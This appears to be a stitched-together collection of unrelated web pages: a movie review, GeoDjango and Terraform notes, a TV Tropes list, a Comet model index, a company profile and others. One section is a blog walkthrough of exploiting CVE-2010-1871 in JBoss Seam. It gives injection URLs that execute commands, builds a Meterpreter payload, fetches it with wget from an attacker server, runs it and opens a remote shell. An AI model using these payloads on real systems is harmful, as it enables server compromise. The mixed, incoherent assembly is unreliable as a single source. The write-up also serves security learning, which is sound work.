Movie: Armour of God II: Operation Condor (1990) A review by: Sang Park (http://www.geocities.com/Tokyo/Towers/2713/)
As many reviewers and all Jackie Chan movie buffs know by now, "Operation Condor" is hardly a "new" movie in that it was released previously some seven years ago in Asia and in Chinatown theater/video stores everywhere. Personally, I was surprised six months ago when I found out through Miramax's website that they are planning to release this in theater since most Jackie Chan fans probably have seen this film in one form of video or another.
Jackie (once again dubbed in English as himself) reprises his role as "Flying Dragon (or Condor or whatever his code name is)" seeking a lost bundle of gold stash somewhere in the Sahara Desert. This time there are three leading ladies that he must deal with. As in the case of just about all of his movies (except for Supercop and Young Master) women are of no help to him; rather, they are the reasons in which he gets into troubles and slapstick blunders.
Of course his fighting choreography and stunts are spectacular. Why else would you want to watch his movies if it wasn't for his over-the-top eye-popping in-your-face actions. Operation Condor does deliver in that sense right from the start. For the benefit for those who have not seen the film, I won't describe the stunt/action sequences, except that it involves large beach balloon, cars, motorcycles, windtunnel, guns, and towels, no name a few.
Most Jackie Chan directed films has a bit more of himself as a slapstick clown than his other movies. Operation Condor, too, has a heavy dose of that as well. If don't care much about his farce, you have been warned here.
Personally, I'm still waiting for an original Jackie Chan movie made here in the US that would match the grace and intensity of the Drunken master II or the over-the-top excitement of Dragons Forever. Until then, I'm willing to support his quest for the US action greatness by recommending Operation Condor.
(8.5 out of 10)
(comments?? reply to this posting or email me at<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Load Countries
Countries
Add new Country
Add
Towns
Add new Town
Add
Add new Country
Name:
Edit Country
Name:
Add new Town
Town:
Country:
Edit Town
Name:


general info card placeholder. blahblahblahblahblahblahblahblahblahblah.blahblahblah blahblah blahblah.


Instead of producing an image, you can have GTileOverlay return the queryset filtered by the X and Y tile coordinates:
>>> qs = Model.objects.all()
>>> ov = GTileOverlay(5, 45, 15, queryset=qs)
>>> new_qs = ov.output(just_queryset=True)
or this way:
>>> qs = Model.objects.all()
>>> ov = GTileOverlay(5, 45, 15, queryset=qs, field="location")
>>> kwargs = ov.get_filter()
>>> kwargs
{'location__intersects': 'POLYGON((0.0 -89.998077637,0.0 -89.9907525165,90.0 -89.9907525165,90.0 -89.998077637,0.0 -89.998077637))'}
>>> new_qs = qs.filter(**kwargs)
If the queryset is filtered by the exact bounds of the lattitude and longitude coordinates of the image, then there will issues where some icons will be cut off. It order to fix this problem, GTileOverlay.get_filter() method tries to expand the query filter bounds by a small amount, allowing points just beyond the bounds to be plotted on that image.
If an icon falls a few pixels from the edge of two tiles, both tiles will drawl that point. One tile prints one half of the icon, the other tile prints the other half.
One side effect of this method is that if you want to get the absolute number of points that fall within a tile, you must not rely on the queryset that was filtered with the expanded filter. Doing so will return a number larger than expected since points near the edges are being returned more than once.


Terraform is a fairly new technology to me. I've been using AWS Cloudformation, but have consistently run into some pretty serious limitations. Given a choice between these two, I would certainly choose Terraform.
The main advantage to Terraform, is that it's really fast. I can still declare all the same resources in a similar way to Cloudformation, but I don't have to worry about the stack becoming stuck in an unstable state for 3 hours.
Having said that, it has some limitations of its own. The main issue I have run into so far is lack of loop control or standard programming operators. For example:
{% raw %}
data "template_file" "cloud-config-users" { template = "${file("${path.module}/templates/user.tpl")}" vars { name = "${lookup(var.users[count.index], "name")}" pubkeys = "${jsonencode(split(",", lookup(var.users[count.index], "pubkeys")))}" } count = "${length(var.users)}" } ... data "template_cloudinit_config" "config" { part { content = "${data.template_file.cloud-config-users.rendered}" } count = "${var.number}" }{% endraw %} "count" is the rough equivalent of loop control in Terraform. Here, I can create an arbitrary number of users with SSH access. But what if I need 0? A standard for loop makes this so much easier.


Santino Marella: This cafeteria isn't big enough for the both of us.
Kane: Actually, the kitchen is quite spacious. It could easi-(growls) I mean, YOUR SOUL IS MINE!
A Stock Phrase used to emphasize two characters cannot occupy some important place or situation.
Originated from western movies and is now a Dead Horse Trope, more often Played for Laughs than Played Straight.
Not to Be Confused with there literally not being enough capacity for both people.
open/close all folders
Examples:
Advertising
- An advertisement for a television rental company had two cowboys complain that the television they were on (presumably not rented from the company in question) wasn't big enough for the both of them.
Anime and Manga
- Space Patrol Luluco: Said by Inferno Cop to Luluco to encourage, rather than to threaten, her to leave Hell.
Audio Play
- In The Firesign Theatre's "The Further Adventures of Nick Danger", from the album How Can You be In Two Places at Once When You're Not Anywhere at All?: when time travel leads to Nancy's past and future selves fighting, they both exclaim, "There ain't room enough in this dress for both of us!"
Comic Books
- Parodied in a Beano special where the Bash Street Kids go to the Wild West:
Danny (kicks saloon doors open): This town ain't big enough for the both of us!
Fan Fic
- In the Lost Girl/Merlin Crossover fic Lost in Camelot, this trope is almost explicitly stated by Bo during her confrontation with the troll; as the first Fae to take up residence in Camelot, Bo is technically the ruler of the kingdom from a Fae perspective, so the troll had to drive her out to legitimize her takeover as far as Fae society is concerned.
- The Tagline for Slender Man vs Siren Head is "These woods arent big enough for the both of us".
Film
- Inverted in The Frisco Kid: "This is a very big country. I'll tell you what I think is the best thing — I'll take San Francisco, you take the rest of America."
- Toy Story: One of the phrases that Woody says when his string is pulled is "This town ain't big enough for the two of us!".
- He never says it directly to Buzz, but the town (or rather, room) not being big enough for the two of them is a plot point.
- Bedtime Stories
Young Skeeter: The galaxy's not big enough for the both of us.
- The Virginian (1929)
Trampas: This world isn't big enough for the both of us!
- The Western Code (1932)
Nick Grindell: This town ain't big enough for the both of us and I'm going to give you 24 hours to get out. If I see you in Carabinas by this time tomorrow, it's you or me!
- Invoked in A Song Is Born, when the housekeeper demands Honey Swanson go, or she does.
- In trying to retrieve the Cross of Coronado at the beginning Indiana Jones and the Last Crusade, Indiana meets up again with his childhood nemesis, Panama Hat, who remarks that it's a "small world", to which Indy replies, "Too small for two of us!"
- In Megamind, before their final battle, Titan shouts at Megamind "This town isn't big enough for two super-villains!" Megamind then shows Titan the difference between a villain and a super-villain; "PRESENTATION!"
Literature
- There's a Tanya Huff short story in the Blood Books universe called "This Town Ain't Big Enough" in which Vicki Nelson, who's now a vampire, fights another vampire to keep her territory.
- Tai Pan:
Dirk Struan: Hong Kong is big enough for Struan's and the other british traders. It's big enough for Britons and Americans. Whether it's big enough for the Brocks and the Struans is a different matter.
Tyler Brock: I'll tell you this, boy; China isn't big enough for the two of us. - Gore Vidal's Burr: Aaron Burr says that once he learned what Alexander Hamilton said about him, he realized that the world was too narrow for both of them. This is apparently a reference to something the historical Aaron Burr said, late in life:
"Had I read Sterne more and Voltaire less, I should have known the world was wide enough for Hamilton and me."
- Swellhead.  He mutters, "There isn't room in the world for two of this." He's right, as the coat comes from an alternate universe that's leaking into our own with potentially fatal consequences.
Live Action TV
- M*A*S*H: Colonel Potter says this while fighting over a Sears catalogue with Hawkeye. He also says it when another character drunkenly rides his horse.
Col. Potter: Dupree, I don't want to see you near this horse or my camp ever again. In fact, this war ain't big enough for the two of us!
- Night Court episode "Harry on Trial"
Judge Willard: On July 12th of this year, didn't the defendant, claiming quote, "This courtroom ain't big enough for the two of us," unquote, squirt you in the face with a water pistol in open court?
- Soap Opera Home and Away.

- The Gene Autry Show episode "Feuding Friends"
Pat Buttram: I told you before, Autry, no town is going to be big enough for the both of us.Gene Autry: Then you better find yourself another town.Pat Buttram: I will not! I found this one first.Gene Autry: I'm stayin' here tonight. You can do what you want.Pat Buttram: And I'm doin' it - right now! [Slugs Autry in the jaw]
- A Sesame Street short on the history of movies used this line as a running gag. At the beginning, Grover, dressed as a cowboy, is in a black-and-white silent film, accompanied by the title card "This town ain't big enough for the two of us!" This is followed by variations of the scene that add sound, color, a wide screen, musical numbers, and special effects.
- Buffy the Vampire Slayer. In "The Initiative", Buffy is told that vampire Big Bad Spike has returned to Sunnydale and fumes, "Doesn't he know this is my town?" In "Enemies", rogue vampire slayer Faith expresses a similar sentiment (this time in reference to Buffy). "This is supposed to be my town!"
- Jesus of Nazareth. When King Herod orders the Massacre of the Innocents, he shouts, "This is my world! I will not share it with an infant! There's no room for two Kings here."
- Secret Garden. Played straight in episode 14 when Yeun Sul tells Gyung Ran to back off because she (Yeun) is the only crazy woman for this drama (she is not breaking the fourth wall, she's just referencing drama tropes.)
- Played for Laughs in one episode of El Chavo del ocho. Don Ramón is fed up with Chavo's antics, and tells him that the vecindad is not big enough for the two of them to continue living in it.
Don Ramón: So it's that, either you leave, or I do.Chavo: One of us... has to leave?Don Ramón: Yes.Chavo: (turns around and starts to walk away towards the entrance. Then he turns around again) Shall I get a taxi for you?
- Horrible Histories: Henry VII's song:
Spent a long time fighting pretenders to the throne
Lambert Simbel and Perkin Warbeck said my throne was their own
They claimed they'd been the princes in the tower, their rule delayed
I said "This crown ain't big enough for the three of us!" and had one SLAYED! - Blackadder. In "Duel and Duality", Edmund Blackadder is trying to contact his mad Scottish cousin McAdder, but they keep missing each other in order to save on special effects. When they finally meet up...
Edmund Blackadder: Look, did you tell him to be here or not?Mrs. Miggins: I did, you just keep missing each other. I can't imagine why.McAdder: (enters) I'll tell you why. It's because there's no coffee shop in England big enough for two Blackadders!
- Star Trek: Voyager. In "Darkling", the Emergency Medical Hologram finds himself in a Jekyll & Hyde situation.
Kes: The mobile emitter contains both your programs. If you damage it you could both be destroyed.Evil EMH: There's not enough room inside for both of us. One must die. I deserve to exist more than your Doctor does.
- Blake's 7. In the end of "Dawn of the Gods", Master Computer Orac is not happy that Evil Genius Lord Thaarn escaped.
Orac: It is intolerable! There is insufficient room in the galaxy for his intellect and mine.Tarrant: I don't know. He did have one redeeming feature. He didn't like computers.
- Doctor Who: At the end of "The Deadly Assassin," the Doctor and the Master both leave Gallifrey. Castellan Spandrell muses, "They're going out into the universe. And you know, I don't think it is big enough for the two of them."
- Cobra Kai: Inverted, sorta-kinda, depending on whether or not Danny's competitor Tom Cole is serious or not.
The Valley's big enough for two auto kings. Right, Danny?
Music
- Sparks' breakthrough hit in the UK was a 1974 single called "This Town Ain't Big Enough for Both of Us". According to The Other Wiki, the song originally was going to be full of TVTro...—um, I mean movie clichés.
- Professor Elemental in "Fighting Trousers", in reference to rival "chap-hop" artist Mr B The Gentleman Rhymer.
Be out Mr. B, I've set the egg timer.
There's not room in town for two gentlemen rhymers.
Leave town by the end of this instrumental.
Yours, et cetera, et cetera, sincerely, and so forth,
Professor Elemental. - "Big Enough" by Kirin J. Callinan uses the trope as a sincere, if, humorous, metaphor for peace on Earth — two tough-as-nails feuding cowboys finally acknowledge that they can co-exist peacefully in the big country, and then extend the analogy by saying that the world is so big and beautiful that every country can be a place to live in harmony. This is so awesome that it summons the giant translucent ghost of Jimmy Barnes to scream at them in triumph on the horizon.
Newspaper Comics
- Calvin and Hobbes has a parody. The two of them are wearing white and black cowboy hats.
Calvin: This town just ain't big enough for the both of us.Hobbes: Yep, I reckon we'll have to annex part o' the county.
- From a 1993 Garfield strip:
Garfield: Spider, this house isn't big enough for both of us. Well, actually it probably is... [smashes the spider with a newspaper] So let's just do this for fun.
Radio
- In The BBC's 1980 sci-fi drama Earthsearch, a warlord makes a deal with the power-hungry Angel computers who are seeking Earth, which he also wants to conquer.
Theatre
- At the end of Hamilton, "Your Obedient Servant" and "The World Was Wide Enough" serve as this for both Hamilton and Burr, as during these songs their longstanding rivalry comes to a violent peak, ending with a pistol duel that ends with Hamilton dead.
- Antony and Cleopatra has Octavius Caesar say something like this when he believes Antony to be dead: "O Antony, we could not stall together in the whole world!"
- Henry IV, Part 1: "Two stars keep not their motion in one sphere;/ Nor can one England brook a double reign/ Of Harry Percy and the Prince of Wales."
- In Knickerbocker Holiday, during their final confrontation, Stuyvesant tells Brom, "The same city won't hold both of us!"
Video Games
- In Kingdom of Loathing, a vacation encounter at the Distant Lands Dude Ranch involves both you and an unnamed NPC making this remark about the other. You both decide that the appropriate response is to take out your carpentry tools, do a bit of construction, and make the town a bit bigger.
- Marvel vs. Capcom 3: Fate of Two Worlds: Dr Doom will use this as his intro line against the likes of Dormammu.
Doctor Doom: This DIMENSION is NOT BIG ENOUGH for the BOTH of US!
- Nova's win quote against Magneto involves regarding their helmets.
- Transformers: Fall of Cybertron: said by Optimus against Megatron in the final chapter.
Optimus Prime: This universe, no matter how vast, will never be big enough for you and I to coexist!
- The last mission in the Mothership Zeta DLC for Fallout 3 is named "The Galaxy Ain't Big Enough". It involves taking out an alien spacecraft.
- In Team Fortress 2, the Scout has the following domination line for the opposing Scout:
This map ain't big enough for the two of us!
- In Gex 3: Deep Cover Gecko, there's a video of Gex dressed as a gunslinger in a showdown.
Gex: Alright varmint, this level ain't big enough for the two of us. (lash his tongue on a fly and swallows)
Web Comics
- A Softer World provides an interesting resolution:
"This town isn't big enough for the both of us. Let's run away together!"
- Second Empire - even in an infinite universe, there isn't enough space for two Dalek Empires.
Western Animation
- Looney Tunes
- Bugs Bunny Rides Again
Yosemite Sam: This town ain't big enough for the two of us.
Bugs Bunny: It ain't? Pardon me, Mac. (runs offscreen, building noises ensue) Now is it big enough? (Bugs has built an entire city nearby)
Yosemite Sam: No, it still ain't big enough! - Duck Dodgers in the 24½th Century: When Marvin lands on Planet X, Dodgers tells him "this planet ain't big enough for the two of us." After they blow it up during an Escalating War, the statement becomes quite literal.

- Bugs Bunny Rides Again
- SpongeBob SquarePants: quoted when SpongeBob and Patrick were talking about the advantages of being felons.
SpongeBob: And you get to talk tough. [gruff voice] This town ain't big enough for the two of us.
- Transformers
Metroplex: This planet's not big enough for the both of us!
- Jackie Chan Adventures
- Episode "Project A, for Astral". Shendu is in Jade's body.
Jade: Sorry Charlie, but my body ain't big enough for both of us!- Episode "Black Magic"
Captain Black Dark: Oh Captain Black, I don't think Section 13 is big enough for the both of us.- Episode "Little Valmont, Big Jade"": again by Jade, only this time's she's 50 feet tall, and fighting a giant ogre.
Jade: Okay Handsome, this town ain't big enough for the both of us! - The ZhuZhus: Trashing of Zhuper Girl
Madge: "this park isn't big enough for the both of us."Squiggles: "it's actually quite sizeable."
Real Life
- According to history the Mongol leader Jamukha, the last man who stood between Temujin and complete control of the Mongol tribes, was offered the chance for reconciliation with Temujin after his defeat due to their former friendship. Jamukha declined, saying that there was only one sun in the sky and there could be only one Mongol leader. Temujin then had him killed in the most honourable fashion possible.
- When General Bernard Montgomery sacked Lt. General Lumsden after the Battle of El Alamein, the latter commented caustically: "this desert is not big enough to have two such shits in it as Monty and myself at the same time."


I had a chance to look at CVE-2010-1871 recently which is a vulnerability in JBoss expression language. As it was an interesting looking vulnerability, I thought it'd be worth walking it through to the point of getting a shell on a vulnerable box, and as it took a bit of fiddling and googling on my part to get there, I figured it could be worth writing up.
There's a good write-up from the guy who discovered the vulnerability here but the basics of the vulnerability is that version of the JBoss SEAM framework have an expression language which can be used to directly execute java code. (Un)fortuntely it was possible for certain URL parameters passed by users of the application to be executed, which introduces a vulnerability.
In the blog post Meder goes through the process of finding the appropriate java classess and executing code using reflection, so far so good. When I came to walk through the PoC exploit (creating a directory on the vulnerable server) the last command
/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null), 'mkdir /tmp/PWNED')}
wasn't working for me... so Google time :) (NB, the reference to seam-booking/home.seam is for the sample app used for the PoC, but this should work on any SEAM framework app)
Looking round to see if anyone else had any joy with this vuln. I came across a post on Stackoverflow , where it looked like someone was getting targeted with this issue in the wild (one to take note of if you run JBoss!). From that it looks like the attackers had come to a slightly different means of exploiting the issue, and testing it seemed to work well. So the basic PoC is setting the actionOutcome parameter to
actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('mkdir%20/tmp/pwned')}
This has worked ok for me on Linux and windows (as target platforms).
Great, so now we have a basic PoC how do we move onto getting a full shell on our vulnerable system? There's doubtless a number of ways of doing this, but here's one I hit on which seems to work pretty reliably.
Given that the target server is running a JBoss service, it's a reasonable assumption that it will have java installed, so we can breakout the Java Meterpreter. First up create the payload using msfpayload. I used bind_tcp in the lab and it's worth noting that the default metasploit port (4444) is in use, so using a different on (eg, 5556) was a good plan.
./msfpayload java/meterpreter/bind_tcp LPORT=5556 X > lin.jar
Gives us our file payload, now we just need to get it deployed to the target system. On linux, it's a fair bet that wget will be installed, so I used that to download the file from a webserver
/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('wget%20-O%20/tmp/lin.jar%20http://<server>/lin.jar')}
This places the file into /tmp, so now we just need to run it, which is pretty straightforward
/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('java%20-jar%20/tmp/lin.jar')}
Having done that, it's just a question of spinning up the metasploit exploit handler and connecting to your waiting meterpreter shell.


My Comet page
Please note: Unfortunately the Dynadec site (dynadec.com) is not the Comet site anymore. I have removed all links to that site below.
Also, I don't know any place where Comet can be downloaded.
Comet (created and distributed by Dynadec) is a system for solving problem using:
- constraint-based local search
- "classic" constraint programming
- linear programming and (mixed) integer programming
More info
* The distribution includes many examples and a great tutorial explaing Comet as well as the three paradigms which Comet uses: constraint programming, constraint-based local search and mathematical programming.
An earlier version of Comet, featuring constraint-based local search, is described in the great book Constraint-Based Local Search (ISBN<PHONE_NUMBER>774) by Pascal Van Hentenryck and Laurent Michel, the main developers of Comet.
My Comet models
Below are some of my Comet models. Explanation and references are in each specific file. Some of these models are translated from my MiniZinc models.
- 17_b.co: Model for 17x17x4 problem (see William Gasarch's The 17x17 challenge. Worth $289.00. This is not a joke.)
- 3_jugs.co: 3 jugs problem, MIP mode. Also see water_buckets1.co below.
- a_round_of_golf.co: A round of golf puzzle (Dell Logic Puzzles)
- added_corner.co: Added corner puzzle
- all_interval.co: All interval problem (series), (CSPLib problem 7)
- alldifferent_except_0.co: Global constraint all_different except 0
- among.co: Global constraint among
- among_seq.co: Global constraint among_seq
- assignment.co: Assignment problem (Winston, "Operations Research", page 393f)
- assignment2.co: Assignment problem, swimming team exam (Winston, "Operations Research", page 398)
- assignment3.co: Assignment problem, desert island example (Winston, "Operations Research", page 399, problem 3)
- assignment6.co: Assignment problem (GLPK)
- averbach_1.2.co: Example 1.2 in Averbach & Chein "Problem Solving Through Recreational Mathematics"
- averbach_1.3.co: Example 1.3 in Averbach & Chein "Problem Solving Through Recreational Mathematics"
- averbach_1.4.co: Example 1.4 in Averbach & Chein "Problem Solving Through Recreational Mathematics"
- bales_of_hay.co: Bales of hay puzzle, from The Math Less Traveled
- blending.co: Blending problem (OPL example)
- broken_weights.co: Broken weights problem
- building_a_house.co: Building a house (scheduling example from OPL)
- building_blocks.co: Building blocks (Dell logic puzzle)
- bus_schedule.co: Bus scheduling (Taha)
- calculs_d_enfer.co: Calculs d'enfer puzzle (from the NCL manual)
- car.co: Car sequencing (OPL)
- coins3.co: Minimum mumber of coins that allows one to pay exactly any amount smaller than one Euro (ECLiPSe)
- coins_grid.co: Placing coins on a grid (Tony Hurlimann)
- constraint_test.co: Example of how to write some simple "syntactical" user defined constraints (i.e. there is no special propagations etc): all_different_except_0, increasing, decreasing, toNum, and correspondence.
- country_cp.co: Simple map coloring problem.
- covering_opl.co: Set covering, selecting workers (from OPL example covering.mod)
- crew.co: Crew scheduling.
- crossfigure.co: Crossfigure problem (CSPLib problem 21)
- crossword.co: Crossword (standard CP problem)
- crypta.co: crypta, alphametic problem (standard Prolog benchmark)
- crypto.co: crypto, alphametic problem (standard Prolog benchmark), constraint programming model.
- cumulative.co: Global constraint cumulative
- cur_num.co: Curious Number (Dudeney)
- debruijn.co: de Bruijn sequences, both "classic" and "arbitrary"
- debruijn_gui.co: de Bruijn sequences, both "classic" and "arbitrary". As debruijn.co with animation of the solutions progress.
- diet.co: simple diet problem (operations research), using the linear programming module
- diet_gui.co: as diet.co with animation of the solution progress.
- discrete_tomography.co: Discrete tomography
- distribute.co: Global constraint distribute.
- divisible_by_9_through_1.co: divisible by 9 through 1 for a "truncated" number
- donald_gerald.co: Alphametic puzzle DONALD + GERALD = ROBERT
- einstein_opl.co: Einstein's puzzle. Comet variant of the OPL model presented in Daniel Selman's Einstein's Puzzle - Or, 'The Right Tool for the Job'
- extensional_support.co: Global constraint extensional support/conflict (a.k.a. in_relation, forbidden/allowed assignments etc)
- fill_in_the_squares.co: Fill in the squares (Brainjammer)
- fixed_charge.co: Fixed-charge problem (OPL example)
- fixed_charge2.co: Fixed-charge problem (OPL example), alternative way of using the tuple
- four_islands.co: Four islands puzzle (Dell Logic Puzzles)
- furniture_moving.co: Optimizing furniture moving, simple scheduling problem, using Schedule (Marriott and Stuckey)
- furniture_moving_cumulative.co: Optimizing furniture moving, simple scheduling problem, using cumulative constraint (Marriott and Stuckey)
- game_theory_taha.co: Game theory, zero sum game (Taha, Operations Research)
- global_contiguity.co: Global constraint global contiguity
- golomb_ruler.co: Golomb ruler (CSPLib problem 6)
- grocery.co: Grocery problem
- heterosquare_cp.co: Heterosquare problem (CP module)
- hidato.co: Hidato puzzle
- house2.co: House problem, scheduling problem (Van Hentenryck, OPL book)
- inverse.co: Global constraint inverse
- isbn.co: Some explorations of ISBN13
- kakuro.co: Kakuro grid puzzle.
- kenken.co: KenKen, a grid puzzle.
- kenken2.co: KenKen, a grid puzzle. A more general solution than kenken.co .
- killer_sudoku.co: Killer sudoku.
- knights_path.co: Knight's path (on a chessboard)
- labeled_dice.co: Labeled dice problem, from Jim Orlin "Colored letters, labeled dice: a logic puzzle"
- langford.co: Langford's number problem (CSPLib problem 24)
- least_diff.co: Least diff problem, an alphametic puzzle, minimize the difference ABCDE-FGHIJ where A..J is integers 0..9 (all different)
- least_diff_gui.co: As least_diff.co (see above) with an animation of the solutions as well as the search tree
- least_square.co: Least square problem
- lichtenstein_coloring.co: Coloring the communes of Lichtenstein
- magic1.co: Magic sequence, CSPLib problem 19 (Van Hentenryck, OPL book)
- magic2.co: Magic sequence, CSPLib problem 19 (Van Hentenryck, OPL book)
- magic_sequence.co: Magic sequence, CSPLib problem 19 (Van Hentenryck, OPL book)
- map.co: Map coloring problem (Van Hentenryck, OPL book)
- map_gui.co: Map coloring problem (Van Hentenryck, OPL book) with animation of the solution.
- max_flow_winston1.co: Maximum flow problem (Winston "Operations Research")
- minAssignment_test.co: Minimum assignment problem, using the builtin constraint minAssignment
- minesweeper.co: Minesweeper problem.
Problem files for the Minesweeper program.
Usage: comet minesweeper.co problem file
- nonogram.co: Nonogram (paint by numbers).
nonogram_regular.co: Nonogram (paint by numbers), using my home-brewn regular constraint (much faster than nonogram.mzn).
nonogram_regular_builtin.co
Nonogram (paint by numbers), using the built-in regular constraint and Automaton.
Problem files for the Nonogram models (to be include
ed):
Also, see the collection Nonogram problem instances (from JaCoP's distribution).
- nontransitive_dice.co: Nontransitive dice
- number_sqare.co: Finding a eight digit square which remains a square when 1 is concatenated in from of it. (Van Hentenryck, OPL book)
- organize_day.co: Organizing a day, simple scheduling problem
- p_median.co: P-median problem (from OPL)
- pair_divides_the_sum.co: Find a set of four distinct positive integers such that, for every pair of them, their difference divides their sum. (comp.lang.prolog, 2009028, Nick Wedd)
- pandigital_numbers.co: Pandigital numbers, in any base < ~ 12
- partition_function.co: Partitions a set of integers (represented as a boolean matrix) according to a function.
- pentominoes_model.co: Pentominoes, model (MiniZinc)
- photo_problem.co: Photo problem
- pigeon_hole.co: Pigeon hole problem
- place_number_puzzle.co: Place number puzzle
- production.co: Production planning (from OPL)
- production2.co: Production planning, using tuple (from OPL)
- production3.co: Production planning, alternative way of using tuple (from OPL)
- quasigroup_completion.co: Quasigroup completion problem.
Problem files:
- queens8.co: 8-queens problem (Van Hentenryck, OPL book)
- queensn.co: n-queens problem (Van Hentenryck, OPL book)
- rabbits.co: Rabbits problem (Van Hentenryck, OPL book)
- regular.co: Global constraint regular
- rot13.co: Rot 13 (ceasar cipher)
- runs.co: Number of runs in a sequence
- sat.co: Satisfiability Problem (GLPK)
- send_more_money_any_base.co: SEND+MORE=MONEY in any base
- send_most_money.co: SEND+MOST=MONEY, finding the max value of MONEY.
- send_most_money2.co: SEND+MOST=MONEY, finding all solutions of the max value for MONEY.
- seseman.co: simple recreational mathematics puzzle. See the CGI-program Seseman convent problem
- set_covering.co: Set covering: placing of firestations (Winston "Operations Research")
- set_covering2.co: Set covering: security telephone on campus (Taha "Operations Research", example 9.1-2)
- set_covering3.co: Set covering: assigning senators to committees (Murty "Optimization Models for Decision Making")
- set_covering4.co: Set covering/partition problem (Lundgren, Rönnqvist, Värbrand "Optimeringslära", page 408)
- set_covering5.co: Set covering, work scheduling (Lundgren, Rönnqvist, Värbrand "Optimeringslära", page 410)
- set_covering_deployment.co: Set covering deployment
- set_covering_skiena.co: Set covering (Skiena)
- set_partition.co: Set partition problem (using boolean matrix as representation of the sets)
- ski_assignment.co: Ski assignment problem
- skyscraper.co: Skyscraper puzzle
- sliding_sum.co: Global constraint sliding sum
- social_golfer1.co: Social golfer problem (CSPLib problem 10)
- sonet_problem.co: SONET problem
- spreadsheet.co: Simple "spreadsheet" example (Apt)
- stable_marriage.co: Stable marriage problem (Van Hentenryck, OPL book)
- stable_marriage2.co: Stable marriage problem, example from MathWorld Stable Marriage Problem
- steiner_sets.co: Steiner triplets, using var sets (new in Comet version 2.0)
- steiner_triplets.co: Steiner triplets (using arrays of booleans to represent the sets)
- stigler.co: Original Stigler's 1939 diet problem (from GLPK). This is a MIP model.
- subset_sum.co: Subset sum problem (Murty)
- sudoku_gcc.co: Sudoku solver using global cardinality constraint.
- sudoku_generate.co: Simple generation of Sudoku puzzles (given the number of unknowns), a randomized approach.
- survo_puzzle.co: Survo puzzle
- temporal_reasoning.co: Temporal reasoning (Apt)
- the_family_puzzle.co: The family puzzle
- toNum.co: Demonstrates
toNum
for converting an array to number or vice versa
- tourist_site_competition.co: Tourist site competition (Flener)
- traffic_lights.co: Traffic lights problem (CSPLib problem 16)
- transp1.co: Transportation problem (Van Hentenryck, OPL book)
- young_tableaux.co: Young tableaux and partitions
- volsay.co: Volsay problem (Van Hentenryck, OPL book)
- volsay2.co: Volsay problem, using an array (Van Hentenryck, OPL book)
- volsay3.co: Volsay problem, using array, and data in array/matrix (Van Hentenryck, OPL book)
- warehouse.co: Warehouse location problem (OPL example)
- water_buckets1.co: Water buckets problem, CP model. Also see 3_jugs.co above.
- who_killed_agatha.co: Who killed agatha? (The Dreadsbury Mansion Murder Mystery, an automated reasoning problem)
- word_design_dna1.co: Word design for DNA computing on surfaces (CSPLib 033)
- word_golf.co: Word golf (aka Word chain or Word ladder).
Data file for word_golf.co: word_golf_len3.co: 2044 3-letter words from /usr/dict/words
.
- word_square1.co: Word square: square matrix cross words (fill the whole square with unique words). Data files: word_len3.co, word_len4.co, word_len5.co, word_len6.co .
- word_square2.co: Word square: square matrix cross words (fill the whole square with unique words). Reads from a word list file (
/usr/dict/words
).
- xkcd.co: XKCD's knapsack problem. See the xkcd strip for the problem
Also see
* My Constraint Programming Blog, especially the Comet category
* My Constraint Programming page
* Common constraint programming problems
* My MiniZinc page
* My Zinc page
* My Choco page
* My JaCoP page
* My JaCoP/Scala page
* My Gecode/R page
* My Gecode page
* My ECLiPSe page
* My Tailor/Essence' page
* My SICStus Prolog page
* My Google CP Solver page
* My OscaR page
* My JSR-331 page
* My Numberjack page
* My AIMMS+CP page
* My B-Prolog page
* My Choco3 page
* My Picat page
Back to my homepage
Created by Hakan Kjellerstrand hakank@gmail.com


AJAX with Vanilla JS and PHP
Inspired by
PHP Ajax Tutorial, XMLHttpRequest einfach erklärt | Deutsch
(Vitalij Mik, 06.03.2020)
Showcase 1: Loading a file with HTML fragments
Showcase 2: Loading a file with a JSON Object
Showcase 3: Loading a php file wich sends a JSON Object
Showcase 4: Loading a php-form which will do a POST by submit


This is a physics simulation of a mesh of masses attached to their four nearest neighbors with springs and dampers, all running in a GPU fragment shader with WebGL. In the simulation, each pixel on the screen is a mass in a 2D mesh. At each frame, the masses exert forces on each other and the resulting acceleration, velocity, and position of each mass is solved via Euler integration. The vertical displacement of the masses is indicated by the color of the pixel, blue pixels have positive vertical displacement, white have negative displacement, and pink is zero displacement. Scrolling over with your mouse applies an upward force to the nearby pixels. The physics is equivalent to a discrete, damped 2D wave equation or cloth simulation. Masses at the edges of the screen are fixed with zero displacement, making the simulation behave like a giant trampoline.
By Amanda Ghassaei, code on Github.


JINGWEI Textile Machinery Co.,Ltd.(herein after referred to as “JINGWEI”),a subordinate of CHINA HI-TECH GROUP CORPORATION. JINGWEI takes textile machinery as principal business and financial & Trust business as well. JINGWEI is a public listed company on SHENZHEN Stock Exchange, Stock code: 000666.
As the global leading manufacturer of complete set of cotton spinning chain equipment, JINGWEI inherits the essence of the national textile machinery, provides a solid equipment guarantee for the development of China cotton spinning industry. Focused in textile machinery and market segments for more than 60 years, JINGWEI gradually form”six product units” pattern, i.e. cotton spinning, weaving, textile machinery textile accessories,twisting, knitting, and printing & dyeing. With the development of textile industry and customer's requirements, JINGWEI keeps to invest in R&D to innovate service model helping customers build "smart textile factory",which acts as an impetus for company to provide complete sets of textile machinery equipment and full-process quality services to help JINGWEI earn a good image in the market.
